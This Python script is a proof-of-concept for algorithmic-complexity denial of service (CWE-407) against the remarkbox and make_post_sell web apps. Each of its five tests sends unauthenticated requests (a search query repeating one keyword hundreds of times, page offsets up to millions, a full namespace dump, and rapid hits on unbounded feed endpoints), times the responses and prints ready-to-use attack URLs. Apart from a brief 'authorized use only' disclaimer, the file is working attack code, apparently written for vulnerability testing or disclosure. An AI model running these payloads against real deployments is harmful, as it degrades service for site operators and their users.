#!/usr/bin/env python3
"""
CWE-407 Proof-of-Concept — Algorithmic Complexity DoS
Target: remarkbox, make_post_sell

Usage:
    python3 poc-cwe407.py <base_url> <test_name>

Tests:
    rbox-search       remarkbox /search keyword bomb (unauthenticated)
    rbox-page         remarkbox ?page= offset bomb (unauthenticated)
    rbox-dump         remarkbox /ns/{ns}/dump.json full-namespace dump
    mps-search        make_post_sell /search keyword bomb (unauthenticated)
    mps-sitemap       make_post_sell /sitemap.xml repeated fetch

Each test measures wall-clock response time and prints a scaling table.
A 10x slowdown vs baseline = confirmed CWE-407 impact.

AUTHORIZED USE ONLY. Run against your own staging/dev instance.
"""

import sys
import time
import statistics
import urllib.request
import urllib.parse
import urllib.error

# ---------------------------------------------------------------------------
# helpers
# ---------------------------------------------------------------------------

def get(url, timeout=60):
    """Return (status_code, elapsed_seconds, response_body_length)."""
    t0 = time.monotonic()
    try:
        with urllib.request.urlopen(url, timeout=timeout) as resp:
            body = resp.read()
            elapsed = time.monotonic() - t0
            return resp.status, elapsed, len(body)
    except urllib.error.HTTPError as e:
        elapsed = time.monotonic() - t0
        return e.code, elapsed, 0
    except Exception as e:
        elapsed = time.monotonic() - t0
        return 0, elapsed, 0


def table_row(label, status, elapsed, body_len):
    print(f"  {label:<40s}  HTTP {status}  {elapsed:6.2f}s  {body_len:>8d} bytes")


def header(title):
    print()
    print("=" * 70)
    print(f"  {title}")
    print("=" * 70)
    print(f"  {'payload':<40s}  {'status':<9s}  {'time':>6s}  {'body':>13s}")
    print("-" * 70)


# ---------------------------------------------------------------------------
# PoC 1 — remarkbox keyword bomb
# ---------------------------------------------------------------------------

def rbox_search(base):
    """
    GET /search?keywords=<N repeated tokens>
    Each token fires a full ILIKE table scan on Node.data.
    No limit on token count or result set.

    Expected: response time grows roughly linearly with keyword count.
    A 100-keyword query should be ~100x slower than a 1-keyword query.
    """
    header("rbox-search  remarkbox /search keyword bomb  [UNAUTH]")
    url = base.rstrip("/") + "/search"

    # baseline: 1 keyword
    for n_keywords in [1, 5, 10, 25, 50, 100, 200, 500]:
        # use a common substring that will match many nodes
        keywords = " ".join(["the"] * n_keywords)
        qs = urllib.parse.urlencode({"keywords": keywords})
        full_url = f"{url}?{qs}"
        status, elapsed, body_len = get(full_url)
        table_row(f"{n_keywords} keyword(s) 'the'", status, elapsed, body_len)

    print()
    print("  NOTE: if elapsed scales with keyword count → confirmed CWE-407")
    print(f"  PoC URL (500 keywords):")
    keywords = " ".join(["the"] * 500)
    qs = urllib.parse.urlencode({"keywords": keywords})
    print(f"    {url}?{qs[:120]}...")


# ---------------------------------------------------------------------------
# PoC 2 — remarkbox page offset bomb
# ---------------------------------------------------------------------------

def rbox_page(base):
    """
    GET /ns/{namespace}?page=<N>
    Offset-based pagination translates to: LIMIT 100 OFFSET (N-1)*100
    SQLite must scan and discard (N-1)*100 rows before returning anything.

    Expected: response time grows with page number.
    """
    header("rbox-page  remarkbox ?page= offset bomb  [UNAUTH]")

    # need a namespace — try the domain itself as the namespace (remarkbox's
    # canonical namespace is usually the domain name)
    ns = urllib.parse.urlparse(base).hostname or "remarkbox.com"
    url = base.rstrip("/") + f"/ns/{ns}"

    for page in [1, 10, 100, 1000, 10000, 100000, 1000000]:
        full_url = f"{url}?page={page}"
        status, elapsed, body_len = get(full_url)
        table_row(f"page={page}", status, elapsed, body_len)

    print()
    print("  NOTE: if elapsed grows with page number → confirmed offset DoS")
    print(f"  PoC URL: {url}?page=9999999")


# ---------------------------------------------------------------------------
# PoC 3 — remarkbox namespace dump
# ---------------------------------------------------------------------------

def rbox_dump(base):
    """
    GET /ns/{namespace}/dump.json
    Iterates every root node and every child node in the namespace,
    builds a Python dict, JSON-serializes the whole thing.
    No pagination, no limit.

    Expected: response time and body size proportional to node count.
    """
    header("rbox-dump  remarkbox /ns/{ns}/dump.json  [UNAUTH]")
    ns = urllib.parse.urlparse(base).hostname or "remarkbox.com"
    url = base.rstrip("/") + f"/ns/{ns}/dump.json"

    times = []
    for i in range(5):
        status, elapsed, body_len = get(url)
        times.append(elapsed)
        table_row(f"request #{i+1}", status, elapsed, body_len)

    if times:
        print(f"\n  median={statistics.median(times):.2f}s  max={max(times):.2f}s")
    print(f"  PoC URL: {url}")
    print("  Scale: add more nodes to namespace to increase impact")


# ---------------------------------------------------------------------------
# PoC 4 — make_post_sell search keyword bomb
# ---------------------------------------------------------------------------

def mps_search(base):
    """
    GET /search?keywords=<N tokens>
    Per token: SELECT * FROM mps_product WHERE title ILIKE '%token%'
    No LIMIT. Results accumulate in Python list, then sorted.

    Expected: linear degradation with keyword count.
    """
    header("mps-search  make_post_sell /search keyword bomb  [UNAUTH]")
    url = base.rstrip("/") + "/search"

    for n_keywords in [1, 5, 10, 25, 50, 100, 200]:
        keywords = " ".join(["a"] * n_keywords)
        qs = urllib.parse.urlencode({"keywords": keywords})
        full_url = f"{url}?{qs}"
        status, elapsed, body_len = get(full_url)
        table_row(f"{n_keywords} keyword(s) 'a'", status, elapsed, body_len)

    print()
    print("  NOTE: 'a' matches most product titles → large result sets per keyword")
    print(f"  PoC URL (200 keywords):")
    keywords = " ".join(["a"] * 200)
    qs = urllib.parse.urlencode({"keywords": keywords})
    print(f"    {url}?{qs[:120]}...")


# ---------------------------------------------------------------------------
# PoC 5 — make_post_sell sitemap repeated fetch
# ---------------------------------------------------------------------------

def mps_sitemap(base):
    """
    GET /sitemap.xml
    Fetches ALL public products from ALL shops, generates XML.
    No LIMIT. Unbounded shop/product scan.

    Expected: large shops show proportionally slow responses.
    Amplification: 3 feed endpoints hit the same unbounded query.
    """
    header("mps-sitemap  make_post_sell feed endpoints  [UNAUTH]")
    endpoints = ["/sitemap.xml", "/rss.xml", "/atom.xml", "/feed.xml", "/feed.rss", "/feed.atom"]

    for ep in endpoints:
        url = base.rstrip("/") + ep
        status, elapsed, body_len = get(url)
        table_row(ep, status, elapsed, body_len)

    print()
    print("  Each endpoint runs the same unbounded product query.")
    print("  Hitting all 6 in rapid succession = 6x database scan load.")


# ---------------------------------------------------------------------------
# dispatch
# ---------------------------------------------------------------------------

TESTS = {
    "rbox-search": rbox_search,
    "rbox-page":   rbox_page,
    "rbox-dump":   rbox_dump,
    "mps-search":  mps_search,
    "mps-sitemap": mps_sitemap,
}

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(__doc__)
        print("Available tests:", ", ".join(TESTS))
        sys.exit(1)

    base_url = sys.argv[1]
    test_name = sys.argv[2]

    if test_name == "all":
        for fn in TESTS.values():
            fn(base_url)
    elif test_name in TESTS:
        TESTS[test_name](base_url)
    else:
        print(f"Unknown test: {test_name}")
        print("Available:", ", ".join(TESTS))
        sys.exit(1)

    print()
    print("Done.")
